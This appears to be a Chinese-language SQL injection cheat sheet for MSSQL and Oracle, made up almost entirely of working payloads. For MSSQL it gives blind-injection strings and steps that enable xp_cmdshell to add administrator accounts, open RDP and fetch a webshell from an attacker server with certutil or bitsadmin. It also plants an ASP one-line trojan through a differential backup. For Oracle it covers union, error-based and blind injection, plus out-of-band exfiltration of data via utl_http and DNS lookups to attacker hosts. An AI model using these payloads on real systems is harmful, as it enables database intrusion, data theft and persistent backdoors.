id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
查询数据
查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
扩展存储过程
xp_cmdshell 直接执行系统命令
sp_OACreate() 直接执行系统命令
sp_OAMethod() 直接执行系统命令
xp_regread 进行注册表读取
xp_regwrite 写入到注册表
xp_dirtree 进行列目录操作
xp_ntsec_enumdomains 查看domain信息
xp_subdirs 通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹
xp_cmdshell详细使用方法
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它
execute('sp_configure "show advanced options",1') # 将该选项的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure "xp_cmdshell", 1') # 将xp_cmdshell的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 执行系统命令
exec sp_configure 'show advanced options',1; # 将该选项的值设置为1
reconfigure; # 保存设置
exec sp_configure 'xp_cmdshell',1; # 将xp_cmdshell的值设置为1
reconfigure; # 保存设置
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 执行系统命令
可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456' # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 开启3389端口
扩展存储getshell
条件
- 数据库是 db_owner 权限
- 扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread
查看是否禁用扩展存储过程xp_cmdshell
uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+
恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
开启xp_cmdshell
# 关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
# 启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
执行命令
使用certutil下载时才成功,得到shell地址http://111.*.*.59/Content/layer/aaa.aspx
uname=test';exec master..xp_cmdshell 'certutil -urlcache -split -f http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--
uname=test';exec master..xp_cmdshell 'bitsadmin /rawreturn /transfer getfile http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
os-shell下载nc,再进行连接
powershell上线
差异备份getshell
差异备份简介
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
差异备份的大概流程
完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--+
创建表并插入数据
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
进行差异备份
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>
Oracle
Oracle是一家跨国信息技术公司,总部位于美国加利福尼亚州,专注于开发和销售数据库软件和技术。此外,Oracle还提供一系列企业软件和云计算服务。
在数据库领域,Oracle最著名的产品是Oracle Database,它是一种关系型数据库管理系统(RDBMS)。Oracle Database被广泛应用于企业级应用程序和数据中心,具有以下特点:
可伸缩性和高性能: OracleDatabase能够处理大规模的数据,并提供高性能的数据存储和检索功能。它支持分布式数据库和并行处理,以满足各种规模和性能要求。
数据安全性: Oracle Database提供了丰富的安全功能,包括数据加密、访问控制、审计和身份验证,以确保数据的保密性和完整性。
高可用性和灾难恢复: Oracle Database支持高可用性架构和灾难恢复功能,包括备份和恢复、故障转移、数据复制和自动故障检测。
扩展性和可管理性: Oracle Database具有良好的扩展性,可以轻松地扩展到多个服务器和存储系统。此外,它提供了强大的管理工具和监控功能,帮助管理员管理和维护数据库系统。
Oracle
Database是业界领先的数据库解决方案之一,被广泛应用于金融、电信、制造、零售等各个行业的核心业务系统中。除了数据库产品,Oracle还提供一系列企业应用软件,如企业资源规划(ERP)、客户关系管理(CRM)等,并提供云计算服务,包括基础设施即服务(IaaS)、平台即服务(PaaS)和软件即服务(SaaS)。
联合注入
注入点确认
?id=1%20and%201=1
?id=1%20and%201=2
判断字段数
?id=1%20order%20by%202
?id=1%20order%20by%203
获取显错点
?id=-1 union select null,null from dual
?id=-1 union select 'null','null' from dual
获取信息
?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dual
?id=-1 union select '1',user from dual
获取数据库
?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual
获取数据库表
?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual
?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
获取数据库列名
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='users' and rownum=1) from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual
获取数据
?id=-1 union select USER_NAME,USER_PWD from "users" where rownum=1
报错注入
报错注入是一种通过函数报错前进行子查询获取数据,再通过错误页面回显的一种注入手法,下面介绍几种报错注入函数以及获取一些常见的获取数据,实际操作只需要将子查询内的查询语句进行替换即可。
获取当前数据库用户 ORACLE1?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
获取数据库版本信息?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --
XMLType():?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
#获取数据库版本信息?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
#获取当前数据库用户 ORACLE1?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
#获取数据库版本信息?id=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
#获取数据库版本信息?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath():?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user)--
utl_inaddr.*():?id=1 and 1=utl_inaddr.get_host_name((select user from dual)) --?id=1 and 1=utl_inaddr.get_host_address((select user from dual)) --
布尔盲注
猜长度:?id=1 and 6=(select length(user) from dual)--
截取值猜ascii码:?id=1 and (select ascii(substr(user,1,1)) from dual)>83?id=1 and (select ascii(substr(user,1,1)) from dual)=83
decode函数布尔盲注
decode(字段或字段的运算,值1,值2,值3)
测试用户名长度: ?id=1 and 6=(select length(user) from dual) --
如果是system用户则返回正常,不是则返回不正常:?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
使用substr截断,逐个字段进行猜解
?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
?id=1 and 1=(select decode(substr(user,2,1),'Y',1,0) from dual) --
?id=1 and 1=(select decode(substr(user,3,1),'S',1,0) from dual) --
?id=1 and 1=(select decode(substr(user,4,1),'T',1,0) from dual) --
?id=1 and 1=(select decode(substr(user,5,1),'E',1,0) from dual) --
?id=1 and 1=(select decode(substr(user,6,1),'M',1,0) from dual) --
#配合ascii码进行猜解?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --
instr函数布尔盲注
instr函数的应用:
select instr('abcdefgh','de') position from dual;#返回结果:4
获取用户:?id=1 and 1=(instr((select user from dual),'SYS')) --?id=1 and 4=(instr((select user from dual),'T')) --
延时盲注
检测漏洞存在
DBMS_PIPE.RECEIVE_MESSAGE函数的作用是从指定管道获取消息。
具体用法为:DBMS_PIPE.RECEIVE_MESSAGE(‘pipename’,timeout)
pipename为varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
timeout为integer的可选输入参数,用来指定等待时间。
?id=1 and 1=dbms_pipe.receive_message('o', 10)--
直接猜解字符:?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --#通过ascii猜解字符?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('o',5),0) from dual) --
dbms_pipe.receive_message()函数
?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --
通过ascii猜解字符:?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',(select count(*) from all_objects),0) from dual) --
外带注入
url_http.request()
使用此方法,用户需要有utl_http访问网络的权限
首先检测是否支持,页面返回正常则表示支持
?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
然后python起一个http服务,或者开启nc监听。这里我使用python开启一个服务:
python3 -m http.server 9999
子查询数据库版本信息并访问python起的http服务
?id=1 and utl_http.request('http://vps:9999/'||(select banner from sys.v_$version where rownum=1))=1--
http访问时可以将||进行URL编码
?id=1 and utl_http.request('http://vps:9999/'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
查询系统用户
?id=1 and%20 utl_http.request('http://vps:9999/'%7c%7c (select user from dual))=1--
?id=1 and%20 utl_http.request('http://vps:9999/'%7c%7c(select member from v$logfile where rownum=1))=1--
?id=1%20and%20%20utl_http.request(%27vps:9999/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--
utl_inaddr.get_host_address()函数
and (select utl_inaddr.get_host_address((select user fromdual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
SYS.DBMS_LDAP.INIT()函数
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --